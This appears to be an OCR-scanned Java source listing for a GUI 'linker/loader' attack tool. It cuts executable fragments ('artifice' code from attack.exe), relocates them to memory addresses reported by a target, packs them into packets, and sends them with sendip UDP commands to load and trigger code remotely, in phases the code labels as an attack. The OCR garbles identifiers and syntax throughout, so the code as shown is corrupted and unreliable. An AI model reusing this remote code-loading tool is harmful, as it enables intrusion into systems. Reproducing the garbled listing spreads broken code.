gbConstraints. gridx = 5;
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/*

*

L I

gbConstraints.gridy = 2;
gbLayout . set Constrai nts(b5, gbConstraints);
contr ol Frane. get Cont ent Pane() . add( b5) ;

gbConstraints. gri dx 0;

gbConstraints. gridy 3;
gbConstraints.gridwi dth = 6;
gbConstraints.fill = gbConstraints. BOTH;
JPanel j = new JPanel ();

j . set Backgr ound( Col or. gray);
j.setSize(900, 2);

gbLayout . set Constrai nts(j, gbConstraints);
cont r ol Frane. get Cont ent Pane() . add(j);

bl. addActi onLi st ener (butt onHandl er) ;

b2. addActi onLi st ener (but t onHandl er) ;

b3. addAct i onLi st ener (butt onHandl er);

b4. addActi onLi st ener (butt onHandl er) ;

b5. addAct i onLi st ener (butt onHandl er) ;

but t Cont . addActi onLi st ener (but t onHandl er) ;

menuBar . add( nenul) ;

menul. add(exitlteny;

menul. set Si ze(100, 15);
menuBar . add( nenu2) ;

menu2. add(i nstructionslten);
menu2. set Si ze(100, 15);

j Frane. set JMenuBar ( nenuBar) ;
j Frane. show() ;
proceed = fal se;
bl. set Enabl ed(f al se);
b2. set Enabl ed(f al se);
b3. set Enabl ed(f al se);
j Frane. addW ndowLi st ener (
new W ndowAdapter () {
public void w ndowd osi ng( W ndowEvent e) {
System exit (0);
}
}
)

R R R R R R R

cal | Tabl eRel ocati ons

Thi s met hod/ procedure carries out the relocati ons needed on the |ast part,
the call table that is used to refer to the artifice functions that need

to be called. The reason we need this call table is because, the bootstrap

| oader only refers to addresses in menory above its own address, at a 16 bit
of fset fromit, thus triggers can only be set to this space. Therefore,

a call table is placed in the artBuffer, and then the triggers are set to it,
and when a trigger is run, the call table diverts control to a called

function

*

*

*

*

*

at a 32 bit address.

File ctFile -- the file on which relocations will be carried out.
File relocFile -- the file which specifies the relocations.

LA EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEERERY]

public void call Tabl eRel ocations(File ctFile, File relocFile) {

try {
Vector stringHol der = new Vector();
String s1 ="";
String s2 = "";
int pos = 0;
FilelnputStreamin = new Fil el nputStrean(rel ocFile);
I nput St reanmReader relocln = new | nput StreanReader (i n, ENCODI NG) ;
Buf f eredReader bl = new BufferedReader (rel ocln);
while ( (sl = bl.readLine()) != null)
stringHol der. add(sl);

bl. cl ose();
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Fi | eCut put Stream out = new Fil eCut put Stream new Fi |l e("~tenpCT"));
Qutput StreamWiter relocQut = new QutputStreamNiter(out, ENCODI NG ;

for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elementAt(i);
if ( (pos = sl.indexOr("\t")) !=-1)

{
s2 = sl.substring(pos + 1, sl.length());
sl = sl.substring(0, pos);

s2 = sl.substring(8, sl.length());
sl = sl.substring(0, 7);
} // now | have the offset and the
[11]]******These three if statements will change as the junp table
[1][]******structure changes!!!
if (i <5) { /] for first two entries // add allocl
String s = s2; //switchByteOder(s2);
int sum = hexTol nt (all oclAddress) + hexTolnt(s);
s = Integer.toHexString(sum;
s = switchByteOrder(s);
relocQut. wite(sl + "\t" + s);
}
if (i ==5) {
String s = s2; //swtchByteOder(s2);
int sum = hexTol nt (all oc2Address) + hexTolnt(s);
s = Integer.toHexString(sum;
s = switchByteOrder(s);
relocQut.wite(sl + "\t" + s);

}
if (i < stringHol der.size())

rei ocQut.wite("\r\n");

rel ocQut. cl ose();
relocateFile(ctFile, new File("~tempCT"));

}
catch (I OException e) {
e.printStackTrace();

}
}

/***************************************************************************

* convert Encodi ng

*

* This is another utility function, not used in the attack , but used to

* jllustrate the conversion of a file witten with one encoding to another.
*

* File inputFile -- File that will be converted

* File outputFile -- Converted File

* String ol dEncoding -- ol d encoding

* String newencodi ng -- new encodi ng

*

*

(note: this is based on code in Java Network Programmi ng, Hughes, p.174
***************************************************************************/
public void convertEncoding(File inputFile, File outputFile,
String ol dEncodi ng, String newEncodi ng) {
messageText . append(" Converting the encoding of:\t" + inputFile.getNane() +
" (" + oldEncoding + ")" + "\nNew File is:\t\t" +
outputFile.getNane() + " (" + newkncoding + ")\n");
try {
FilelnputStreamfileln = new Fil el nput Strean(inputFile);
Fil eQutputStream fileQut = new Fil eQutput Strean(outputFile);
I nput St reanmReader i nput StreanReader = new | nput St reanReader (fil el n,
ol dEncodi ng) ;
Qutput StreanWiter outputStreamWiter = new QutputStreamWiter(fil eCQut,
newEncodi ng) ;
char[] buffer = new char[16];
int nunmber Read;
while ( (nunmberRead = input StreanReader.read(buffer)) > -1) {
output StreamWiter.wite(buffer, 0, nunberRead);

out put StreamWiter.cl ose();
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i nput St r eanReader . cl ose();

}
catch (| OException e) {}
}

AR R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

* copyFile

*

* This makes an entire, exact file copy (well, depending on the encoding...)

* of afile. This is especially useful for files used to make changes based

* on offsets, like those used in relocation. You want to make copies of them

* otherwise, you will have to change them after every run because they are
saved

* with the new values in them not the original offset addresses fromthe

* beginning of the file.

*

* File inputFile -- File to be copied
* File outputFile -- Destination file

***************************************************************************/
public void copyFile(File inputFile, File outputFile) {
try {
FilelnputStreamfileln = new Fil el nput Strean(inputFile);
Fil eQutputStreamfileQut = new Fil eQutput Strean(outputFile);
I nput St reanmReader in = new | nput StreanReader (fileln, ENCODI NG ;
Qut put StreamWiter out = new QutputStreamWiter(fileQut, ENCODI NG ;
int c;
while ( (¢ = in.read()) !=-1) {
out.wite(c);

in.close();
out.close();

}
catch (I Oexception e) {
e.printStackTrace();
messageText . append("One of the two files not found");

}

return;
}

1RSSR R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

* copyFi | eFragnent

*

* In a file, the start and begi nning address offsets are specified to show what
* portions of the inputFile should be copied to the outputFile. This has a
* nunber of general uses such as shortening a file, or just getting portions
* you need fromit. | copy blank space in one instance of using this nethod,
* pecause that allows ne to construct a 32 byte junp table with all 0x0's in
.

. it.

* File inputFile -- File that will be fragnented.

* File outputFile -- Target file

* File paranFile -- File that specifies what chunks of inputFile to put in
* outputFile

LR R R R RS R E R R Ry

public void copyFileFragnent(File inputFile, File outputFile, File paranFile) {
/1 file nust have start/end points in order and non-overl appi ng

messageText . append(" Copying a fragment of " + inputFile.getNane() +
"into " + outputFile.getNane() + " specified by " +
paranfil e. get Nane() + "\n");

try {

FilelnputStreamfileln = new Fil el nput Strean(inputFile);

Fil eQutput Stream fileQut = new Fil eQutput Strean(outputFile);

I nput St reanReader i File = new | nput StreanReader (fil eln, ENCOD NG ;
Qutput StreamWiter oFile = new QutputStreamWiter(fileQut, ENCODI NG ;
Vector startVec = new Vector();

Vector endVec = new Vector();

Vector stringHol der = new Vector();

Fi |l el nput Stream pFileln = new Fil el nput St rean( paranfFile);

I nput St reanReader pFile = new | nput StreanReader (pFil el n, ENCODI NG ;
String s1 = new String();
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String s2 = new String();

int pos = 0;

Buf f eredReader b = new Buf f er edReader (pFil e);

while ( (sl = b.readLine()) !'= null) {
stringHol der. add(sl);

}
b. cl ose();
for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elementAt(i);
if ( (pos = sl.indexOr("\t")) !=-1)
s2 = sl.substring(pos + 1, sl.length());
sl = sl.substring(0, pos);
el se {
s2 = sl.substring(8, sl.length());
sl = sl.substring(0, 7);
}

/'l copy start and end points fromfiles into vectors
start Vec. add(new | nteger (hexTolnt(sl1)));
endVec. add(new | nt eger (hexTolnt(s2)));

}

/'l for loop that goes elenment by elenment in both vectors and

/1 copies themin pieces to the final file.

int c, sectionCount, count;

count = 0;

sectionCount = O;

while ( (c = iFile.read()) !'= -1 & sectionCount < endVec.size()) {
Integer startOf Section = (Integer) startVec. el enent At (sectionCount);
Integer endOf Section = (Integer) endVec. el ement At (secti onCount);
if (count >= startOf Section.intValue()) {

oFile.wite(c);

if (count == endOf Section.intValue())
secti onCount ++;
count ++;

oFile.close();
iFile.close();
pFile.close();

}

catch (I OException e) {
e.printStackTrace();

}

}

/***************************************************************************

* createEncodi ngExanpl eFi |l e

This is a sinple utility nmethod which when, ENCODING is specified as a
certain encoding, a file of the byte values 0 to 255 is made and the user
can see which byte values that particular encoding can read or wite.
So far, 1SO-8859-1 is the only true bit to bit, read to wite conplete
fidelity encoding |'ve found.
***************************************************************************/
public void createEncodi ngExanpleFile(File t) {
try {

Fil eCut put Stream fileCut = new Fil eCutput Strean(t);

Qutput StreamWiter tnmpW = new QutputStreamWiter(fileQut, ENCODI NG ;

for (int i =0; i < 256; i++)

tnmpW.wite(i);
tnpW . cl ose();

E

}
catch (| OException e) {}
}

/kkkkkkkkkkkkkkkkkkkkkkkkkkkk***********************************************

* di vi deAndConbi ne

This method takes a header file, in our case, the |oading code which is
copies the artifice code into the allocated buffer area, places a portion
of alarger file with it, giving us packets that can | oad thensel ves when
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* the trigger for loading is run.

B ] R ]
* [ Entire Header file ] [ Entire Header file ]
B b ] [----mmmmmmmmmmmee s ]
* [ I [ ]
* [ piece 1 of big file ] [ piece Nof big file]
* ] [ ]
ML SRR EE LR R, ] [ommmmmm e ]
* File headerFile -- file to put at the top of every file, can be an enpty
* file if a header is not needed.

* File divideFile -- file that will be divided into different packets
* String tfn -- base nane for packet files

* long sizeLimt -- how big the payl oad of each packet can be.

* bool ean delete -- delete on exit.

***************************************************************************/

public File[] divideAndConbi ne(File headerFile, File divideFile, String tfn,
long sizeLimt, boolean delete) {
messageText . append("Dividing " + divideFile.getNane() +
" into packets of size " + sizeLimt +
" with header file " + headerFile.getNane() + "\n");
String t = tfn;
| ong sectionSize = 0;
| ong nunPackets = O;
try {
Fi | el nput Stream header | n;
Fi |l el nput Stream di videln = new Fil el nput Strean(di videFile);
I nput St r earReader hdr Rd;
I nput St reanReader dvdRd = new | nput St r eanReader (di vi del n, ENCODI NG) ;
/1 see if size of headerFile and divideFile is |less than sizeLimt
if (sizeLimt >= (headerFile.length() + divideFile.length())) {
headerln = new Fil el nput St ream headerFil e);
hdrRd = new | nput St r eanReader (header | n, ENCODI NG ;
packetFil eArray = new File[1];
packet Fil eArray[0] = new File(tfn);
Fi | eQut put Stream fil eQut new Fi | eQut put Strean( packetFil eArray[0]);
Qut put StreamWiter tmWw new Qut put StreamWiter(fil eQut, ENCODI NG ;

if (delete)

packet Fi | eArray[ 0] . del et eOnExi t () ;
int ¢c =0;
while ( (¢ = hdrRd.read()) '= -1)

tnpW.wite(c);
while ( (¢ = dvdRd.read()) !
tmpW.wite(c);
tnpW . cl ose();
hdr Rd. cl ose();

-1)

el se {
int ¢c =0;
/'l cal cul ate how big the pieces of the divideFile should be.
sectionSize = sizeLimt - headerFile.length();
/] decide how nany packets will be made.
if ( (divideFile.length() % sectionSize) == 0)
nunmPackets = divideFile.length() / sectionSize;
el se
nunPackets = divideFile.length() / sectionSize + 1,
Il create the nunber of packet files needed
packet Fil eArray = new File[ (int) nunPackets];
/1 establish each packet file's contents
for (int i = 0; i < nunPackets; i++) {
headerln = new Fil el nput St ream headerFil e);
hdrRd = new | nput St r eanReader (header | n, ENCODI NG ;
tfn = tfn.concat(tfn.valueO(i));
packetFileArray[i] = new File(tfn);
Fi | eCut put Stream fil eCut new Fi | eQut put St rean( packetFileArray[i]);
Qut put StreanWiter tmWw new Qut put StreamWiter(fil eQut, ENCODI NG ;

if (delete)
packet Fil eArray[i].del eteOnExit();
while ( (c = hdrRd.read()) != -1)

tmpW. wite(c);
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if (i == nunPackets - 1)
while ( (¢ = dvdRd.read()) '= -1)
tnmpW.wite(c);
el se
for (int j =0; j < sectionSize; j++) {
¢ = dvdRd.read();
tnpW.wite(c);

}
tnpW . cl ose();
hdr Rd. cl ose();
tfn =1t;
}

}
dvdRd. cl ose();

}

catch (I OException e) {}

catch (Nul |l Poi nterException i) {
i.printStackTrace();

}

return packetFil eArray;

}

IR R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

* fileHexToString

*

* This method changes an entire file of bytes into a string of ASCI
characters.

*

* File inputFile -- File that will be converted frombytes to a string
***************************************************************************I
public String fileHexToString(File inputFile) {
String temp = "";
try {
FilelnputStreamfileln = new Fil el nput Strean(inputFile);
byte[] bArray = new byte[ 16];

int ¢c =0;

String ch;

int hexCol, onesCol;

while ( (c = fileln.read()) !'=-1) {

c=(c>0) ?2c: c + 256;
hexCol = c¢ / 16;
onesCol = ¢ % 16;
switch (hexCol) {
case 10:
ch = "a",
br eak;
case 11:
ch ="b",;
br eak;
case 12:
ch ="c",;
br eak;
case 13:
ch = "d";
br eak;
case 14:
ch = "e";
br eak;
case 15:
ch = "f";
br eak;
defaul t:
ch = tenp. val ued (hexCol);
}
tenp = tenp.concat(ch);
switch (onesCol) {
case 10:
ch = "a";
br eak;
case 11:
ch = "b";
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br eak;
case 12:
ch ="c¢";
br eak;
case 13:
ch ="d",;
br eak;
case 14:
ch ="e",;
br eak;
case 15:
ch ="f";
br eak;
defaul t:
ch = tenp. val ued (onesCol );
}
tenp = tenp.concat(ch);

fileln.close();

}
catch (I OCexception e) {}
/1 run through the File and convert bytes to hex
return tenp;
}

IEEEEEA SRR E R EEREEEEEEEEEEEEREEEEEEEEEEEREREEEEEEEEEEEREEEEEEEEEEEEREEEE

* hexTol nt

This method changes a String representation of a hex value to an integer,
whi ch can then be witten to a file as a byte.

String hex -- the hex RVA to be converted to its position (byte nunber)
inthe file. This can also, if "hex' is two hex digits,
convert a string byte to a real byte (i.e. "A4" to the
byte A4).

***************************************************************************/

public int hexTolnt(String hex) {

L

int sum= 0, val = 0, power = O;

char a;

I nteger r;

for (int i = hex.length() - 1; i >=0; i--) {

a = hex.charAt(i);
switch (a) {

case 'a':
case 'A':
val = 10;
br eak;
case 'b':
case 'B':
val = 11;
br eak;
case 'c':
case 'C:
val = 12;
br eak;
case 'd':
case 'D:
val = 13;
br eak;
case 'e':
case 'E:
val = 14;
br eak;
case 'f':
case 'F':
val = 15;
br eak;
defaul t:

r = new | nteger(a);
val = r.intValue() - 48;
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}

}

r

int temp = 1,

for (int j =0; j < power; j++)
tenp = tenp * 16;

sum = sum + val * tenp;

power ++;

eturn sum

IR R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE]

*

* Ok ok ok k¥

j umpTabl eRel ocati ons

Thi s met hod/ procedure is used to specify changes to the junp table, which
points to other functions in other allocated nmenory spaces when the change-
able artifice is conpletely loaded into the final nmenory space.

File jtFile -- file with the junp table in it
File relocFile -- file with the relocations init.

LR EEA R EREEEEEEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEY]

public void junpTabl eRel ocations(File jtFile, File relocFile) {

t

ry {

Vector stringHol der = new Vector();
String s1 = ""; //new String();
String s2 = ""; //new String();

int pos = 0;
FilelnputStreamin = new Fil el nput Strean(rel ocFile);
I nput StreanReader relocln = new | nput StreanReader (i n, ENCODI NG ;
Buf f eredReader bl = new BufferedReader(rel ocln);
while ( (s1 = bl.readLine()) !'= null)
stringHol der. add(sl);
bl. cl ose();
Fi | eQut put Stream out = new Fil eCQut put Stream new File("~tenpJT"));
Qutput StreamWiter relocQut = new Qutput StreamNiter (out, ENCODI NG ;

for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elenmentAt(i);
if ( (pos = sl.indexOr("\t")) !=-1)

{
s2 = sl.substring(pos + 1, sl.length());
sl = sl.substring(0, pos);

el se {
s2 = sl.substring(8, sl.length());
sl = sl.substring(0, 7);

[111]******These three if statements will change as the junp table
[[][******structure changes!!!
if (i <2) { /] for first two entries // add allocl
String s = s2; //switchByteOrder(s2);
int sum = hexTol nt (all oclAddress) + hexTolnt(s);
s = Integer.toHexString(sum;
s = switchByteOrder(s);
relocQut.wite(sl + "\t" + s);
}
if (i =2 1i =3) {
String s = s2; //switchByteOrder(s2);
int sum = hexTol nt (al |l oc2Address) + hexTolnt(s);
s = Integer.toHexString(sum;
s = switchByteOrder(s);
relocQut. wite(sl + "\t" + s);

i ==4) {
ring s =s2; //switchByteOrder(s2);

nt sum = hexTol nt (art Buf f er Addr essSaved) + hexTol nt (s);
= I nteger.toHexString(sun;

= switchByteOrder(s);

elocQut.wite(sl + "\t" + s);

if (i < stringHol der.size())
rei ocQut.write("\r\n");

rel ocQut. cl ose();
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}
/*

*

L R

*

relocateFile(jtFile, new File("~tenmpdT"));

}

catch (I OException e) {
e.printStackTrace();

}
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pauseAttack()

This method is used throughout to give the user a chance to carry out
intervening activities in support of the attack such as start the packet
sniffer, input values, etc.

bool ean test -- this variable is set to true if the Continue button wll
be used to proceed (to set proceed = true). An exanple of another nethod
making this value true woul d be another button setting proceed to true.

LA EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEERERY]

public void pauseAttack(bool ean test) {

}
/*

*

* %k k¥ F

*

but t Cont . set Enabl ed(test);
whil e (!proceed)
try {
this. sl eep(500);

}

catch (InterruptedException e) {}
but t Cont . set Enabl ed(f al se);
proceed = fal se;

khkkkkhkkkhkhkhkhkhkkhhkkhhkhhhhhkhhkhhhhhhhkhhhhhhhhhhhhhhhhdhhhhdhdhhdhdhdhdrhkrhrdhxdrhxxx*k

rel ocate

File inputFile -- The file that needs an address relocated or a byte val ue
changed. (It can do that too :-)

int pos -- int positionin the file of the first byte to change

String val ue -- string representation of what to bytes to put at pos.

**************************************************************************/

public void relocate(File inputFile, int pos, String value) {

}

try {
File tenpR = new Fil e("~tenpR");
File tenpW= new File("~tenpW);
int ¢c =0;
copyFile(inputFile, tenpR);
FilelnputStreamfileln = new Fil el nput Streanm(tenpR);
Fil eQut put Stream fil eQut = new Fil eQut put Strean{(tempW;
I nput St reanReader tnpRd = new | nput StreanReader (fil el n, ENCODI NG ;
Qutput StreanmWiter tnmpW = new QutputStreamWiter(fileQut, ENCODI NG ;
/1 traverse the file, get to the byte to change
for (int i =0; i < pos; i++) {
c = tnmpRd.read();
tnpW.wite(c);

}

for (int i =0; i <value.length(); i += 2) {
¢ = hexTolnt(val ue. substring(i, i + 2));
tmpW.wite(c);

}

for (int i =0; i <value.length() / 2; i++)
tnpRd. read();

while ( (c = tnpRd.read()) != -1)
tnmpW.wite(c);

t npRd. cl ose();

tnpW . cl ose();

copyFil e(tempW inputFile);
tenpR. del et eOnExit();

tenpW del et eOnExi t () ;

}
catch (I Cexception e) {}
return;
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* relocateFile

*

* This file is the utility used throughout the linker/loader for relocating

* an entire file based on changes specified in a file.

*

* The format for the file is "'address-(offset)',"\t','value at that location""
* using ASCI| versions of the Hex digits (e.g., 'A, 'B, etc.)

*

* File inputFile -- File that will be rel ocated.

* File changesFile -- File that specifies the changes to be nade.

***************************************************************************/

public void relocateFile(File inputFile, File changesFile) {
try {

messageText . append("Rel ocating " + inputFile.getNane() +
" using relocations specified in" +
changesFil e. getNane() + "\n");

Vector stringHol der = new Vector();

String s1 = new String();

String s2 = new String();

int pos = 0;

Fi | eReader changesln = new Fi | eReader (changesFil e);

Buf f eredReader b = new Buf f er edReader ( changesl n);

while ( (sl = b.readLine()) !'= null)

stringHol der. add(sl);

for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elenmentAt(i);
if ( (pos = sl.indexOF("\t")) !=-1) {

s2 = sl.substring(pos + 1, sl.length());

sl sl. substring(0, pos);

el se {
s2 = sl.substring(8, sl.length());
sl = sl1.substring(0, 7);

}
pos = hexTol nt (sl);
rel ocate(inputFile, pos, s2);

}

}
catch (I OException e) {}
}

IR AR EEE R EEREEEEEEEEEEEEREEEEEEEEEEEREEEEEEEEEEEEEREEEEEEEEEEEEREEEE

* rel ocat eFi | eByAddr ess

*

* Thi s met hod/ procedure perfornms the needed relocations on the artifice file

* that will be linked/loaded in the allocated nmenory space. It can be used to
* relocate any file that only needs one base address to add to the offsets in
* the file.

*

* File inFile -- has the file to be rel ocated

* File relocFile -- the file that specifies the relocations

* String addr -- the address that will be added to the val ues en masse.

LR R R R R RS R R R R R R R Ry

public void relocateFil eByAddress(File inFile, File relocFile, String addr) {

/1 put the addresses and offsets in the relocation file into a data structure,
/1 switch the byte order as they are read into the D.S.
try {

copyFil e(rel ocFile, new File("~tenpAF"));

Vector stringHol der = new Vector();

String s1 ="";

String s2 = "";

int pos = 0;

Fil el nputStreamin = new Fil el nput Strean(new Fil e("~t empAF"));

I nput St reanReader changesln = new | nput St reanReader (i n, ENCODI NG ;

Buf f eredReader bl = new BufferedReader (changesln);

while ( (s1 = bl.readLine()) !'= null) {

stringHol der. add(sl);

}

bl. cl ose();

Fi | eCQut put Stream out = new Fi | eCut put Strean("~t enpAF");
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Qut put StreanWiter changesQut = new CQutput StreamWiter(out, ENCOD NG ;

for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elementAt(i);
if ( (pos = sl.indexOF("\t")) !'=-1) {

s2 = sl.substring(pos + 1, sl.length());

sl sl. substring(0, pos);

el se {
s2 = sl.substring(8, sl.length());
sl = sl.substring(0, 7);

}

/1 add values to the relocation file's val ues
int sum = hexTol nt (addr);
sum += hexTol nt (s2);
s2 = Integer.toHexString(sum;
/'l wite the values back to the relocation file
/'l switch the byte orders of the addresses as they are witten
changesQut . wite(sl + "\t" + switchByteOrder(s2));
if (i < stringHol der.size())
changesQut . write("\r\n");

}

changesCut . cl ose();

relocateFile(inFile, new File("~tenpAF"));

}
catch (I Oexception e) {
e.printStackTrace();
}
}

IEEEEAA SRR E R EEREEEEEEEEEEEEEEEEEEEEEEEEREREEEEEEEEEEEEEEEEEEEEEEEEREEREE

* run nethod

This is the main run nethod for the thread, which has all of the main
activities for the linker |oader. Changes should be nade to this if the
nunber of buffer spaces changes (nore strict nmenory requirenents). Right
now the filenanmes are hardcoded in, but this could change if the user
desires a pop-up box to specify the file nanes.

***************************************************************************/

public void run() {

E R T

creat eEncodi ngExanpl eFi | e(new Fil e("test Encodi ng"));

/1 this is a nice utility to see which bytes are readable for
/'l the specified encoding.
/1 run the file through "./shed to see which bytes are covered.
packet Text . append("Track the packets you send out here\n\n");

R R R R Phase 1 ----------cccccmccccncncnannan-- I
pauseAttack(fal se);

messageText . append(
BN T B R e PhaSE@ 1 ---c--ccmmmmmmmmmmmeme oo
----//\n");
nmessageText . append(
"Commenci ng Phase 1: finding nenory\nStart sniffing packets now. \n");
pauseAttack(true);

T-eeeeeo-- shorten phase 1 code to an ideal size --------------- /1
copyFi | eFragment (new Fil e("phaselGet Menory. exe"),

new Fil e("phaselShortened. exe"), new Fil e("phaselShorten"));
pauseAttack(true);

[]-eeee - Send packet with request menory code --------------- /1
sendi pPacket (new Fi | e("phaselShortened. exe"), 1);
pauseAttack(true);

N R T Set trigger for request menmory ------------------ /1
sendi pPacket (new Fil e("fi ndMentSet Tri gger.dat"), 2);

/] setting trigger specified in offset.dat
pauseAttack(true);

R R R Send trigger for request nenory ------------------ I/
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sendi pPacket (new File("findMenRunTrigger.dat"), 3); // get the first nenory
space

sendi pPacket (new File("findMenRunTrigger.dat"), 3); // get the second nenory
space

messageText . append("Done wi th Phase 1, press continue to go to Phase 2\n\n")

pauseAttack(true)

I R R Phase 2 -------cmmmmii 11
messageText . append(
BN 1] PhasSe@ 2  c - c oo oo e e ie e eemmeeoooo.
/r\n");

messageText . append(" Cormenci ng Phase 2: | oading and rel ocation\n");
pauseAttack(true);

//---- Based on returned data, relocate to specified addresses ----//

messageText . append("Now, stop capturing packets, take the addresses from the
two | COWP packets and place themin the artifice relocation file, in REGULAR byte
format.\n");

bl. set Enabl ed(true);

b2. set Enabl ed(true);

b3. set Enabl ed(true);

pauseAtt ack(fal se);

/'l copyFil eFragnment the phase 2 copyi ng code
copyFi | eFragnent (new Fi |l e(" phase2Byt eCopy. exe"),
new Fi |l e("phase2CopyShort ened. exe"),
new Fi |l e("phase2CopyShorten"));
pauseAttack(true);

/'l copyFil eFragnment first attack file piece

copyFi | eFragnent (new Fil e("attack.exe"), new File("attackFil eShort1"),
new Fil e("attackFileShortenl"));

pauseAttack(true);

/'l copyFil eFragnment second attack file piece

copyFi | eFragment (new Fil e("attack.exe"), new File("attackFileShort2"),
new Fi |l e("attackFil eShorten2"));

pauseAttack(true);

Il prepare the first attack relocation file
/1 AND relocate the first file for the first allocated area
copyFil e(new Fil e("attackFil eRel ocati ons1"),
new Fil e("tenpAttackFil eRel ocationsl"));
rel ocat eFi | eByAddress(new Fil e("attackFil eShort1"),
new Fil e("tenpAttackFi | eRel ocationsl"), alloclAddress);
pauseAttack(true);

Il prepare the second attack relocation file
/1 AND rel ocate the second file for the second allocated area
copyFil e(new Fil e("attackFil eRel ocati ons2"),
new Fil e("tenpAttackFil eRel ocations2"));
rel ocat eFi | eByAddress(new Fil e("attackFil eShort2"),
new Fil e("tenpAttackFi| eRel ocations2"), alloclAddress);
pauseAttack(true);

/1 prepare the file with the junp table with the correct val ues.
copyFil e(new Fil e("junpTabl eRel ocations"),
new Fil e("tenpJunpTabl eRel ocations"));
j unpTabl eRel ocati ons(new Fil e("attackFileShort1"),
new Fil e("tenpJunpTabl eRel ocations"));
pauseAttack(true);

/1 divide first file into packets, then conbine each with | oadi ng code header
di vi deAndConbi ne(new Fi |l e( " phase2CopyShort ened. exe"),
new File("attackFileShortl1"), "~tenpl", 1200, false);
/lattackFileShortl
pauseAttack(true);

int allocPointer = hexTolnt(all oclAddress);
/] execute the | oad/ execute |oop for |oading the first part
for (int i =0; i < packetFileArray.length; i++) {
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/] calculate the correct address val ues

int copyStart = hexTol nt (artBufferAddress) + 43;

int dataSize = (int) packetFileArray[i].length() - 43;

int copyEnd = copyStart + dataSi ze;

Il relocate the header to |oad the data properly

copyFil e(new Fil e("arrayFil eRel ocations"), new Fil e("tenpRel ocations"));

updat eLoadi ngCode(new Fil e("tenpRel ocations"), copyStart, copyEnd,
al | ocPoi nter);

rel ocateFi | e(packetFil eArray[i], new File("tenpRel ocati ons"));

/! send a packet to be | oaded

sendi pPacket (packetFil eArray[i], 1);

pauseAttack(true);

/'l run the | oadi ng code

sendi pPacket (new Fi |l e("fi ndMenRunTri gger.dat"), 3);

al | ocPoi nter += dataSi ze;

}

/1 divide second file into packets, then conbine each with | oadi ng code header
di vi deAndConbi ne(new Fi |l e(" phase2CopyShort ened. exe"),
new File("attackFileShort2"), "~tenp2", 1200, false);
/lattackFil eShort1l
pauseAttack(true);

al | ocPoi nter = hexTol nt (al | oc2Addr ess) ;
/] execute the | oad/execute |oop for |oading the second part
for (int i =0; i < packetFileArray.length; i++) {
/'l calculate the correct address val ues
int copyStart = hexTol nt (artBufferAddress) + 43;
int dataSize = (int) packetFileArray[i].length() - 43;
int copyEnd = copyStart + dataSi ze;
/1 relocate the header to next set of addresses to |oad the data properly
copyFil e(new File("arrayFil eRel ocations"), new Fil e("tenpRel ocations"));
updat eLoadi ngCode(new Fil e("tenpRel ocations"), copyStart, copyEnd,
al | ocPoi nter);
rel ocateFi |l e(packetFil eArray[i], new File("tenpRel ocations"));
/1 send a packet to be | oaded
sendi pPacket (packetFil eArray[i], 1); //192.168.1.2
pauseAttack(true);
/'l run the | oadi ng code
sendi pPacket (new Fil e("fi ndMenRunTri gger.dat"), 3);
al | ocPoi nter += dataSi ze;

}

/1 shorten call table file

copyFi | eFragnent (new Fil e("phase2Cal | Tabl e. exe"), new Fil e("cal |l Tabl eShort"),
new Fil e("call Tabl eShorten"));

pauseAttack(true);

/1l relocate the call table
cal | Tabl eRel ocati ons(new Fi |l e("cal | Tabl eShort"),

new Fi | e("cal | Tabl eRel ocations"));
pauseAttack(true);

/1 load the call table
sendi pPacket (new Fi |l e("cal | Tabl eShort"), 1);
pauseAttack(true);

/'l set the triggers for the call table

sendi pPacket (new Fi |l e("setTrigger3"), 2);
sendi pPacket (new Fil e("set Tri gger4"), 2);
sendi pPacket (new Fil e("set Tri gger5"), 2);

I R Phase 3 --------------- I/
R Not i npl enented------------ I
}

IR R R R R R R R R R R R R R R

* sendPacket
*

* In general, this method uses the sendip programto send packets with certain
* built-in paraneters. This allows for formatting the command for the conmand
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* line in Linux, and allows us to insert the payload as well by calling the
* fileToHexString command (File -> String)

*

* File payl oad -- what you want to send in the packet

*int type -- load = 1, setTrigger = 2, runTrigger = 3.

LEE AR EEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEY]

public void sendi pPacket (Fil e payload, int type) {
messageText . append( " Sendi ng packet with payload \"" + payl oad. get Name() +
"\" of type " + type + "\n");
try {
FilelnputStreamfileln = new Fil el nput Strean(payl oad);
I nput St r eanReader i nput StreanReader = new | nput St reanReader (fil el n,
ENCODI NG) ;
String comandLine = "";
String payloadString = new String(fileHexToString(payl oad));
/1 convert payload to a string
String endParams = " -p ipv4 -is " + fromP +" -id " + tolP + " -p udp -us
500 -ud 53 -uc 58391 " + tolP;
/'l case statenent for which kind of packet to send
switch (type) {
case 1:
conmandLine = "sendip -v -d 0x04030201810004F9";
break; //load at offset 500. this is where | always load it.
case 2:
commandLi ne = "sendip -v -d 0x04030201"; //setTrigger
/'l payload nmust be 32 bits (4 bytes) and nmust contain -> FB & type (1b)
/1 + TN (1b) + offset (2b)
commandLi ne = commandLi ne. concat ( payl oadStri ng) ;
br eak;
case 3:
commandLi ne = "sendip -v -d 0x04030201";
/'l must specify the trigger nunber and feedback
conmmandLi ne = conmandLi ne. concat ( payl oadStri ng);
/'l generally | ooks |ike this 850000...
break; //runTrigger
11 where 5 is the trigger nunber,
/1 but the rest doesn't matter.
defaul t:
messageText . append("Wong type paraneter for sendi pPacket\n");
}

if (type == 1 || type == 2) {
/1 add the length field
String temp = "000000";
